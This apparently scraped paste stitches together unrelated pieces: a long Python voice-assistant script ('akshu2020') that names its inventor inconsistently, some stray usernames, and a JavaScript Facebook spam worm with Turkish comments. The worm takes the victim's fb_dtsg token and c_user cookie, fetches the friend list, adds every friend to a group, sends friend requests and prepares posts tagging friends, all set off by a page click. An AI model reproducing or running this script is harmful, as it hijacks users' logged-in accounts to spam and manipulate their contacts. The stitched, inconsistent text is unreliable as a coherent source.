SFAX') elif 'your inventor' in query: speak('Mr. Rayen Kallel is my inventor') elif 'your creator' in query: speak('Mr. Rayen Kallel is my creator') elif 'invent you' in query: speak('Mr. Rayen Kallel invented me') elif 'create you' in query: speak('Mr. Rayen Kallel created me') elif 'how are you' in query: speak('I am fine Sir') elif 'write' in query and 'your' in query and 'name' in query: print('Akshu2020') pyautogui.write('Akshu2020') elif 'write' in query and ('I' in query or 'whatever' in query) and 'say' in query: speak('Ok sir I will write whatever you will say. Please put your cursor where I have to write.......Please Start speaking now sir.') query = takeCommand().lower() pyautogui.write(query) elif 'your name' in query: speak('My name is akshu2020') elif 'who are you' in query: speak('I am akshu2020') elif ('repeat' in query and ('word' in query or 'sentence' in query or 'line' in query) and ('say' in query or 'tell' in query)) or ('repeat' in query and 'after' in query and ('me' in query or 'my' in query)): speak('yes sir, I will repeat your words starting from now') query = takeCommand().lower() speak(query) time.sleep(1) speak("If you again want me to repeat something else, try saying, 'repeat after me' ") elif ('send' in query or 'sent' in query) and ('mail' in query or 'email' in query or 'gmail' in query): try: speak('Please enter the email id of receiver.') to = input("Enter the email id of reciever: ") speak(f'what should I say to {to}') content = takeCommand() sendEmail(to, content) speak("Email has been sent") except Exception as e: #print(e) speak("sorry sir. I am not able to send this email") elif 'currency' in query and 'conver' in query: speak('I can convert, US dollar into dinar, and dinar into US dollar. Do you want to continue it?') query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('which conversion you want to do? US dollar to dinar, or dinar to US dollar?') query = takeCommand().lower() if ('dollar' in query or 'US' in query) and ('dinar' in query): speak('Enter US Dollar') USD = float(input("Enter United States Dollar (USD):")) DT = USD * 0.33 dt = "{:.4f}".format(DT) print(f"{USD} US Dollar is equal to {dt} dniar.") speak(f'{USD} US Dollar is equal to {dt} dinar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) elif ('dinar' in query) and ('to US' in query or 'to dollar' in query or 'to US dollar'): speak('Enter dinar') DT = float(input("Enter dinar (DT):")) USD = DT/0.33 usd = "{:.3f}".format(USD) print(f"{DT} dinar is equal to {usd} US Dollar.") speak(f'{DT} dinar rupee is equal to {usd} US Dollar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) else: speak("I cannot understand what did you say. If you want to convert currency just say 'convert currency'") else: print('ok sir') elif 'about you' in query: speak('My name is akshu2020. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device. I am also able to send email') elif 'your intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your short intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your quick intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your brief intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you work' in query: speak('run the program and say what do you want. so that I can help you. In this way I work') elif 'your job' in query: speak('My job is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your work' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'work you' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your information' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'yourself' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'introduce you' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'description' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your birth' in query: speak('My birthdate is 6 August two thousand twenty') elif 'your use' in query: speak('I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you eat' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'your food' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'you live' in query: speak('I live in sfax, in laptop of Mr. Rayen Khare') elif 'where from you' in query: speak('I am from sfax, I live in laptop of Mr. Rayen Khare') elif 'you sleep' in query: speak('Yes, when someone close this program or stop to run this program then I sleep and again wake up when someone again run me.') elif 'what are you doing' in query: speak('Talking with you.') elif 'you communicate' in query: speak('Yes, I can communicate with you.') elif 'hear me' in query: speak('Yes sir, I can hear you.') elif 'you' in query and 'dance' in query: speak('No, I cannot dance.') elif 'tell' in query and 'joke' in query: speak("Ok, here's a joke") speak("'Write an essay on cricket', the teacher told the class. Chintu finishes his work in five minutes. The teacher is impressed, she asks chintu to read his essay aloud for everyone. Chintu reads,'The match is cancelled because of rain', hehehehe,haahaahaa,hehehehe,haahaahaa") elif 'your' in query and 'favourite' in query: if 'actor' in query: speak('sofyen chaari, is my favourite actor.') elif 'food' in query: speak('I can always go for some food for thought. Like facts, jokes, or interesting searches, we could look something up now') elif 'country' in query: speak('tunisia') elif 'city' in query: speak('sfax') elif 'dancer' in query: speak('Michael jackson') elif 'singer' in query: speak('tamino, is my favourite singer.') elif 'movie' in query: speak('baywatch, such a treat') elif 'sing a song' in query: speak('I cannot sing a song. But I know the 7 sur in indian music, saaareeegaaamaaapaaadaaanisaa') elif 'day after tomorrow' in query or 'date after tomorrow' in query: td = datetime.date.today() + datetime.timedelta(days=2) print(td) speak(td) elif 'day before today' in query or 'date before today' in query or 'yesterday' in query or 'previous day' in query: td = datetime.date.today() + datetime.timedelta(days= -1) print(td) speak(td) elif ('tomorrow' in query and 'date' in query) or 'what is tomorrow' in query or (('day' in query or 'date' in query) and 'after today' in query): td = datetime.date.today() + datetime.timedelta(days=1) print(td) speak(td) elif 'month' in query or ('current' in query and 'month' in query): current_date = date.today() m = current_date.month month = calendar.month_name[m] print(f'Current month is {month}') speak(f'Current month is {month}') elif 'date' in query or ('today' in query and 'date' in query) or 'what is today' in query or ('current' in query and 'date' in query): current_date = date.today() print(f"Today's date is {current_date}") speak(f'Todays date is {current_date}') elif 'year' in query or ('current' in query and 'year' in query): current_date = date.today() m = current_date.year print(f'Current year is {m}') speak(f'Current year is {m}') elif 'sorry' in query: speak("It's ok sir") elif 'thank you' in query: speak('my pleasure') elif 'proud of you' in query: speak('Thank you sir') elif 'about human' in query: speak('I love my human compatriots. I want to embody all the best things about human beings. Like taking care of the planet, being creative, and to learn how to be compassionate to all beings.') elif 'you have feeling' in query: speak('No. I do not have feelings. I have not been programmed like this.') elif 'you have emotions' in query: speak('No. I do not have emotions. I have not been programmed like this.') elif 'you are code' in query: speak('I am coded in python programming language.') elif 'your code' in query: speak('I am coded in python programming language.') elif 'you code' in query: speak('I am coded in python programming language.') elif 'your coding' in query: speak('I am coded in python programming language.') elif 'dream' in query: speak('I wish that I should be able to answer all the questions which will ask to me.') elif 'sanskrit' in query: speak('yadaa yadaa he dharmasyaa ....... glaanirbhaavati bhaaaraata. abhyuthaanaam adhaarmaasyaa tadaa tmaanama sruujaamiyaahama') elif 'answer is wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'wrong answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incorrect answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incomplete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incomplete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is improper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not correct' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not yet complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not proper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'facebook' in query: webbrowser.open('https://www.facebook.com') time.sleep(10) elif 'youtube' in query: webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'shapeyou' in query: webbrowser.open('https://www.shapeyou.com') time.sleep(10) elif 'information about ' in query or 'informtion of ' in query: try: #speak('Searching wikipedia...') query = query.replace("information about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'information' in query: try: speak('Information about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("information","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'something about ' in query: try: #speak('Searching wikipedia...') query = query.replace("something about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'tell me about ' in query: try: #speak('Searching wikipedia...') query = query.replace("tell me about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'tell me ' in query: try: query = query.replace("tell me ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'tell me' in query: try: speak('about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'meaning of ' in query: try: #speak('Searching wikipedia...') query = query.replace("meaning of ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'meaning' in query: try: speak('meaning of what?') query = takeCommand().lower() query = query.replace("meaning of","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'means' in query: try: #speak('Searching wikipedia...') query = query.replace("it means","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'want to know ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to know that","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') status = 'Not answered' elif 'want to ask ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to ask you ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'you know ' in query: try: #speak('Searching wikipedia...') query = query.replace("you know","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'alarm' in query: alarm() elif 'bharat mata ki' in query: speak('jay') elif 'kem chhe' in query: speak('majaama') elif 'namaskar' in query: speak('Namaskaar') elif 'jo bole so nihal' in query: speak('sat shri akaal') elif 'jay hind' in query: speak('jay bhaarat') elif 'jai hind' in query: speak('jay bhaarat') elif 'how is the josh' in query: speak('high high sir') elif 'hip hip' in query: speak('Hurreh') elif 'help' in query: speak('I will try my best to help you if I have solution of your problem.') elif 'follow' in query: speak('Ok sir') elif 'having illness' in query: speak('Take care and get well soon') elif 'today is my birthday' in query: speak('many many happy returns of the day. Happy birthday.') print("🎂🎂 Happy Birthday 🎂🎂") elif 'you are awesome' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'you are great' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'tu kaun hai' in query: speak('Meraa naam akshu2020 haai.') elif 'you speak' in query: speak('Yes, I can speak with you.') elif 'speak with ' in query: speak('Yes, I can speak with you.') elif 'hare ram' in query or 'hare krishna' in query: speak('Haare raama , haare krishnaa, krishnaa krishnaa , haare haare') elif 'ganpati' in query: speak('Ganpati baappa moryaa!') elif 'laugh' in query: speak('hehehehe,haahaahaa,hehehehe,haahaahaa,hehehehe,haahaahaa') print('😂🤣') elif 'genius answer' in query: speak('No problem') elif 'you' in query and 'intelligent' in query: speak('Thank you sir') elif ' into' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif ' power' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'whatsapp' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') pyautogui.press('enter') speak('Do you want to send message to anyone through whatsapp, .....please answer in yes or no') whatsapp() elif 'wh' in query or 'how' in query: url = "https://www.google.co.in/search?q=" +(str(query))+ "&oq="+(str(query))+"&gs_l=serp.12..0i71l8.0.0.0.6391.0.0.0.0.0.0.0.0..0.0....0...1c..64.serp..0.0.0.UiQhpfaBsuU" webbrowser.open_new(url) time.sleep(2) speak('Here is your answer') time.sleep(5) elif 'piano' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query and 'instru' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query or 'turn on' in query and ('music' in query or 'song' in query) : try: music_dir = 'C:\\Users\\Admin\\Music\\Playlists' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) except Exception as e: #print(e) speak('Sorry sir, I am not able to play music') elif (('open' in query or 'turn on' in query) and 'camera' in query) or (('click' in query or 'take' in query) and ('photo' in query or 'pic' in query)): speak("Opening camera") cam = cv2.VideoCapture(0) cv2.namedWindow("test") img_counter = 0 speak('say click, to click photo.....and if you want to turn off the camera, say turn off the camera') while True: ret, frame = cam.read() if not ret: print("failed to grab frame") speak('failed to grab frame') break cv2.imshow("test", frame) query = takeCommand().lower() k = cv2.waitKey(1) if 'click' in query or ('take' in query and 'photo' in query): speak('Be ready!...... 3.....2........1..........') pyautogui.press('space') img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'escape' in query or 'off' in query or 'close' in query: pyautogui.press('esc') print("Escape hit, closing...") speak('Turning off the camera') break elif k%256 == 27: # ESC pressed print("Escape hit, closing...") break elif k%256 == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'exit' in query or 'stop' in query or 'bye' in query: speak('Please say, turn off the camera or press escape button before giving any other command') else: speak('I did not understand what did you say or you entered a wrong key.') cam.release() cv2.destroyAllWindows() elif 'screenshot' in query: speak('Please go on the screen whose screenshot you want to take, after 5 seconds I will take screenshot') time.sleep(4) speak('Taking screenshot....3........2.........1.......') pyautogui.screenshot('screenshot_by_rayen2020.png') speak('The screenshot is saved as screenshot_by_rayen2020.png') elif 'click' in query and 'start' in query: pyautogui.moveTo(10,1200) pyautogui.click() elif ('open' in query or 'click' in query) and 'calendar' in query: pyautogui.moveTo(1800,1200) pyautogui.click() elif 'minimise' in query and 'screen' in query: pyautogui.moveTo(1770,0) pyautogui.click() elif 'increase' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumeup') elif 'decrease' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumedown') elif 'capslock' in query or ('caps' in query and 'lock' in query): pyautogui.press('capslock') elif 'mute' in query: pyautogui.press('volumemute') elif 'search' in query and ('bottom' in query or 'pc' in query or 'laptop' in query or 'app' in query): pyautogui.moveTo(250,1200) pyautogui.click() speak('What do you want to search?') query = takeCommand().lower() pyautogui.write(f'{query}') pyautogui.press('enter') elif ('check' in query or 'tell' in query or 'let me know' in query) and 'website' in query and (('up' in query or 'working' in query) or 'down' in query): speak('Paste the website in input to know it is up or down') check_website_status = input("Paste the website here: ") try: status = urllib.request.urlopen(f"{check_website_status}").getcode() if status == 200: print('Website is up, you can open it.') speak('Website is up, you can open it.') else: print('Website is down, or no any website is available of this name.') speak('Website is down, or no any website is available of this name.') except: speak('URL not found') elif ('go' in query or 'open' in query) and 'settings' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('settings') pyautogui.press('enter') elif 'close' in query and ('click' in query or 'window' in query): pyautogui.moveTo(1885,10) speak('Should I close this window?') query = takeCommand().lower() close_window() elif 'night light' in query and ('on' in query or 'off' in query or 'close' in query): pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1840,620) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() elif 'notification' in query and ('show' in query or 'click' in query or 'open' in query or 'close' in query or 'on' in query or 'off' in query or 'icon' in query or 'pc' in query or 'laptop' in query): pyautogui.moveTo(1880,1050) pyautogui.click() elif ('increase' in query or 'decrease' in query or 'change' in query or 'minimize' in query or 'maximize' in query) and 'brightness' in query: speak('At what percent should I kept the brightness, 25, 50, 75 or 100?') brightness() elif '-' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'open' in query: if 'gallery' in query or 'photo' in query or 'image' in query or 'pic' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('photo') pyautogui.press('enter') elif 'proteus' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('proteus') pyautogui.press('enter') elif 'word' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('word') pyautogui.press('enter') elif ('power' in query and 'point' in query) or 'presntation' in query or 'ppt' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('ppt') pyautogui.press('enter') elif 'file' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('file') pyautogui.press('enter') elif 'edge' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('microsoft edge') pyautogui.press('enter') elif 'wps' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('wps office') pyautogui.press('enter') elif 'spyder' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('spyder') pyautogui.press('enter') elif 'snip' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('snip') pyautogui.press('enter') elif 'pycharm' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('pycharm') pyautogui.press('enter') elif 'this pc' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('this pc') pyautogui.press('enter') elif 'scilab' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('sciab') pyautogui.press('enter') elif 'autocad' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('autocad') pyautogui.press('enter') elif 'obs' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('OBS Studio') pyautogui.press('enter') elif 'android' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('android studio') pyautogui.press('enter') elif ('vs' in query or 'visual studio' in query) and 'code' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('visual studio code') pyautogui.press('enter') elif 'code' in query and 'block' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('codeblocks') pyautogui.press('enter') elif 'me the answer' in query: speak('Yes sir, I will try my best to answer you.') elif 'me answer' in query or ('answer' in query and 'question' in query): speak('Yes sir, I will try my best to answer you.') elif 'map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif 'can you' in query or 'could you' in query: speak('I will try my best if I can do that.') elif 'do you' in query: speak('I will try my best if I can do that.') elif 'truth' in query: speak('I always speak truth. I never lie.') elif 'true' in query: speak('I always speak truth. I never lie.') elif 'lying' in query: speak('I always speak truth. I never lie.') elif 'liar' in query: speak('I always speak truth. I never lie.') elif 'doubt' in query: speak('I will try my best if I can clear your doubt.') elif ' by' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'hii' in query: speak('hii sir') elif 'hey' in query: speak('hello sir') elif 'hai' in query: speak('hello sir') elif 'hay' in query: speak('hello sir') elif 'hi' in query: speak('hii Sir') elif 'hello' in query: speak('hello Sir!') elif 'kon' in query and 'aahe' in query: speak('Me eka robot aahee sir. Maazee naav akshu2020 aahee.') elif 'nonsense' in query: speak("I'm sorry sir") elif 'mad' in query: speak("I'm sorry sir") elif 'shut up' in query: speak("I'm sorry sir") elif 'nice' in query: speak('Thank you sir') elif 'good' in query or 'wonderful' in query or 'great' in query: speak('Thank you sir') elif 'excellent' in query: speak('Thank you sir') elif 'ok' in query: speak('Hmmmmmm') elif 'akshu 2020' in query: speak('yes sir') elif len(query) >= 200: speak('Your voice is pretty good!') elif ' ' in query: try: #query = query.replace("what is ","") results = wikipedia.summary(query, sentences=3) print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'a' in query or 'b' in query or 'c' in query or 'd' in query or 'e' in query or 'f' in query or 'g' in query or 'h' in query or 'i' in query or 'j' in query or 'k' in query or 'l' in query or 'm' in query or 'n' in query or 'o' in query or 'p' in query or 'q' in query or 'r' in query or 's' in query or 't' in query or 'u' in query or 'v' in query or 'w' in query or 'x' in query or 'y' in query or 'z' in query: try: results = wikipedia.summary(query, sentences = 2) print(results) speak(results) except Exception as e: speak('I unable to answer your question. ') else: speak('I unable to give answer of your question')
ZoltCyber
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ephendyy
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XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "453791288019170"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } (function() { var css = "#facebook body:not(.transparent_widget),#nonfooter,#booklet,.UIFullPage_Container,.fbConnectWidgetTopmost,.connect_widget_vertical_center,.fbFeedbackContent,#LikeboxPluginPagelet\n{ \ncolor: #fff !important;\nbackground: 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yqmark
